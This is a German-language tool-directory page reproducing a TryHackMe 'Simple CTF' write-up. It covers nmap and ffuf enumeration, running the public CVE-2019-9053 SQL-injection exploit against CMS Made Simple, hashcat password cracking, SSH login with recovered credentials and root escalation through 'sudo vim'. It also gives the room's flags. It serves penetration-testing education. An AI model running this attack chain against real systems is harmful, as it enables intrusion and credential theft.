Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Simple-CTF-Writeup — Professionelle TryHackMe Simple CTF-Komplettlösung, die Enumeration, CMS Made Simple SQL-Injection (CVE-2019-9053), Wiederherstellung von Anmeldeinformationen, SSH-Zugriff, Privilegieneskalation via Vim und Root-Kompromittierung abdeckt. | Kitploit
Tools/GitHubGitHub/imperialx1104/simple-ctf-writeup
Passwort-CrackingPrivilege EscalationAufklärungSchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsLernen & Bildung

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHubimperialx1104/simple-ctf-writeup

Simple-CTF-Writeup

Professionelle TryHackMe Simple CTF-Komplettlösung, die Enumeration, CMS Made Simple SQL-Injection (CVE-2019-9053), Wiederherstellung von Anmeldeinformationen, SSH-Zugriff, Privilegieneskalation via Vim und Root-Kompromittierung abdeckt.

Repository anzeigen
4vor 3 MonatenNoch nicht geprüft

Simple-CTF-Writeup

Professionelle TryHackMe Simple CTF Lösung, die Enumeration, CMS Made Simple SQL Injection (CVE-2019-9053), Wiederherstellung von Anmeldeinformationen, SSH-Zugriff, Privilegienerweiterung über Vim und Root-Kompromittierung abdeckt.

TryHackMe - Simple CTF Writeup

Eine vollständige Lösung des Simple CTF-Raums auf TryHackMe, die Aufklärung, Enumeration, Ausnutzung, Wiederherstellung von Anmeldeinformationen, Privilegienerweiterung und Flaggenfang abdeckt.


Raum-Informationen

FeldWert
PlattformTryHackMe
RaumnameSimple CTF
SchwierigkeitsgradEinfach
KategorieWeb-Ausnutzung & Linux-Privilegienerweiterung
AutorSaahil Gupta (ImperialX1104)

Zielsetzung

Das Ziel dieses Raums ist:

  • Das Zielsystem enumerieren
  • Versteckte Dienste und Anwendungen entdecken
  • Ein verwundbares CMS ausnutzen
  • Anmeldeinformationen wiederherstellen
  • SSH-Zugriff erlangen
  • Privilegien zu root erweitern
  • Beide Flaggen erfassen

Angriffsübersicht

root@kitploit:~
Host Discovery
      │
      ▼
Port Enumeration
      │
      ▼
Directory Enumeration
      │
      ▼
CMS Discovery
      │
      ▼
Version Identification
      │
      ▼
SQL Injection (CVE-2019-9053)
      │
      ▼
Credential Extraction
      │
      ▼
Password Cracking
      │
      ▼
SSH Access
      │
      ▼
User Flag
      │
      ▼
Privilege Escalation
      │
      ▼
Root Flag

Aufklärung

Host-Erkennung

Der erste Schritt war die Überprüfung der Konnektivität mit dem Zielsystem.

Befehl

root@kitploit:~
ping 10.49.175.174

Ergebnis

Der Host antwortete erfolgreich, was bestätigte, dass er erreichbar war.

Screenshot

Ping Scan


Port-Enumeration

Ein umfassender Nmap-Scan wurde durchgeführt, um exponierte Dienste zu identifizieren.

Befehl

root@kitploit:~
nmap -A -v 10.49.175.174

Ergebnisse

PortDienstVersion
21FTPvsftpd 3.0.3
80HTTPApache 2.4.18
2222SSHOpenSSH 7.2p2

Bemerkenswerte Funde

  • Anonymer FTP-Login aktiviert
  • Apache-Webserver läuft
  • SSH auf Port 2222 freigegeben
  • robots.txt-Datei entdeckt

Screenshot

Nmap Enumeration


Web-Enumeration

Das Navigieren zum Ziel-Webserver zeigte die standardmäßige Apache-Landingpage.

URL

root@kitploit:~
http://10.49.175.174

Screenshot

Apache Default Page

Zu diesem Zeitpunkt war keine offensichtliche Angriffsfläche sichtbar.


Verzeichnis-Enumeration

Um versteckte Ressourcen zu identifizieren, wurde ein Directory-Brute-Forcing mit FFUF durchgeführt.

Befehl

root@kitploit:~
ffuf -u http://10.49.175.174/FUZZ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
-fc 200

Ergebnisse

root@kitploit:~
simple [Status: 301]

Screenshot

FFUF Enumeration

Ein Verzeichnis namens /simple wurde entdeckt.


CMS-Erkennung

Das Navigieren zum entdeckten Verzeichnis zeigte eine CMS-Installation.

URL

root@kitploit:~
http://10.49.175.174/simple

Screenshot

CMS Made Simple

CMS identifiziert

root@kitploit:~
CMS Made Simple 2.2.8

Die Versionsnummer sollte sich später als kritisch erweisen.


Schwachstellenrecherche

Die CMS-Version wurde mit SearchSploit untersucht.

Befehl

root@kitploit:~
searchsploit "CMS Made Simple"

Ergebnis

root@kitploit:~
CMS Made Simple < 2.2.10 - SQL Injection

Screenshot

SearchSploit Results

Eine bekannte SQL-Injection-Schwachstelle wurde identifiziert.


Exploit-Beschaffung

Der Exploit wurde lokal zur Analyse und Ausführung kopiert.

Befehl

root@kitploit:~
searchsploit -m 46635

Ausgabe

root@kitploit:~
CMS Made Simple < 2.2.10 - SQL Injection
CVE-2019-9053

Screenshot

Exploit Download


Ausnutzung

Der öffentlich verfügbare Exploit wurde gegen die Ziel-CMS-Instanz ausgeführt.

Befehl

root@kitploit:~
python3 exploit.py \
-u http://10.49.175.174/simple/ \
--crack \
-w /usr/share/wordlists/rockyou.txt

Extraktion von Anmeldeinformationen

Der Exploit extrahierte erfolgreich Informationen aus der Backend-Datenbank.

Ausgabe

root@kitploit:~
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: [email protected]

Screenshot

Credential Extraction

Wiederhergestellte Informationen

ElementWert
Benutzernamemitch
E-Mail[email protected]
Salt1dac0d92e9fa6bb2

Passwortknacken

Der extrahierte Hash wurde mit Hashcat geknackt.

Befehl

root@kitploit:~
hashcat -m 20 hash.txt --show

Ausgabe

root@kitploit:~
0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2:secret

Wiederhergestellte Anmeldeinformationen

FeldWert
Benutzernamemitch
Passwortsecret

Screenshot

Hashcat Password Recovery


Erster Zugriff

Die wiederhergestellten Anmeldeinformationen wurden gegen den SSH-Dienst getestet.

Befehl

root@kitploit:~
ssh [email protected] -p 2222

Passwort

root@kitploit:~
secret

Ergebnis

root@kitploit:~
Welcome to Ubuntu 16.04.6 LTS

Screenshot

SSH Access

Erfolgreiche Authentifizierung gewährte Shell-Zugriff als Benutzer mitch.


Benutzer-Flag

Nach dem Zugriff wurde die Benutzer-Flag in Mitchs Home-Verzeichnis gefunden.

Befehle

root@kitploit:~
whoami
cd ~
cat user.txt

Ausgabe

root@kitploit:~
G00d j0b, keep up!

Screenshot

User Flag


Privilegienerweiterung

Sudo-Enumeration

Die Überprüfung der sudo-Berechtigungen ergab eine interessante Konfiguration.

Befehl

root@kitploit:~
sudo -l

Ausgabe

root@kitploit:~
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim

Screenshot

sudo -l Output

Diese Konfiguration erlaubt dem Benutzer, Vim mit root-Privilegien auszuführen, ohne ein Passwort einzugeben.


Root-Zugriff

Vim als root starten:

root@kitploit:~
sudo vim

Da Vim mit erhöhten Privilegien lief, konnte es verwendet werden, um auf Dateien zuzugreifen, die root gehören.

Screenshot

Root Access via Vim


Root-Flag

Die Root-Flag befand sich im Verzeichnis des root-Benutzers.

Befehl

root@kitploit:~
:! cat /root/root.txt

Ausgabe

root@kitploit:~
W3ll d0n3. You made it!

Screenshot

Root Flag


Erhaltene Flaggen

Benutzer-Flag

root@kitploit:~
G00d j0b, keep up!

Root-Flag

root@kitploit:~
W3ll d0n3. You made it!

Angriffsketten-Zusammenfassung

root@kitploit:~
Nmap Scan
    ↓
Web Enumeration
    ↓
Directory Discovery (/simple)
    ↓
CMS Made Simple 2.2.8
    ↓
SearchSploit Research
    ↓
CVE-2019-9053 SQL Injection
    ↓
Credential Extraction
    ↓
Hash Cracking
    ↓
SSH Login (mitch:secret)
    ↓
User Flag
    ↓
sudo -l
    ↓
Vim Privilege Escalation
    ↓
Root Flag

Gelernte Lektionen

Enumeration ist wichtig

Das verwundbare CMS war auf der Startseite nicht sichtbar und erforderte eine Verzeichnis-Enumeration, um es zu entdecken.

Versionsidentifikation ist entscheidend

Die Kenntnis der genauen CMS-Version führte direkt zu einer bekannten Schwachstelle.

Wiederverwendung von Anmeldeinformationen

Wiederhergestellte Anmeldeinformationen sollten immer gegen alle verfügbaren Dienste getestet werden.

Sudo-Fehlkonfigurationen sind gefährlich

Die erlaubte privilegierte Ausführung von Editoren wie Vim kann zu einer vollständigen Systemkompromittierung führen.


Verwendete Werkzeuge

  • Nmap
  • FFUF
  • SearchSploit
  • Python
  • Hashcat
  • SSH
  • Vim

Fazit

Dieser Raum demonstrierte eine vollständige Angriffskette von der ersten Enumeration bis zur vollständigen Root-Kompromittierung. Durch die Kombination von Webanwendungs-Enumeration, SQL-Injection-Ausnutzung, Passwortknacken und Linux-Privilegienerweiterungstechniken wurde die vollständige Kontrolle über das Zielsystem erreicht.

Der Raum dient als ausgezeichnete Einführung in die reale Penetrationstest-Methodik und unterstreicht die Bedeutung von ordnungsgemäßem Software-Patching, Anmeldeinformationssicherheit und Zugriffskontrollen mit geringsten Privilegien.


Autor

Saahil Gupta (ImperialX1104)

  • GitHub: https://github.com/ImperialX1104
  • TryHackMe: ImperialX

⭐ Wenn Ihnen dieser Lösungsweg nützlich erschien, erwägen Sie, das Repository zu markieren und sich mit mir auf GitHub zu verbinden.

Tool herunterladen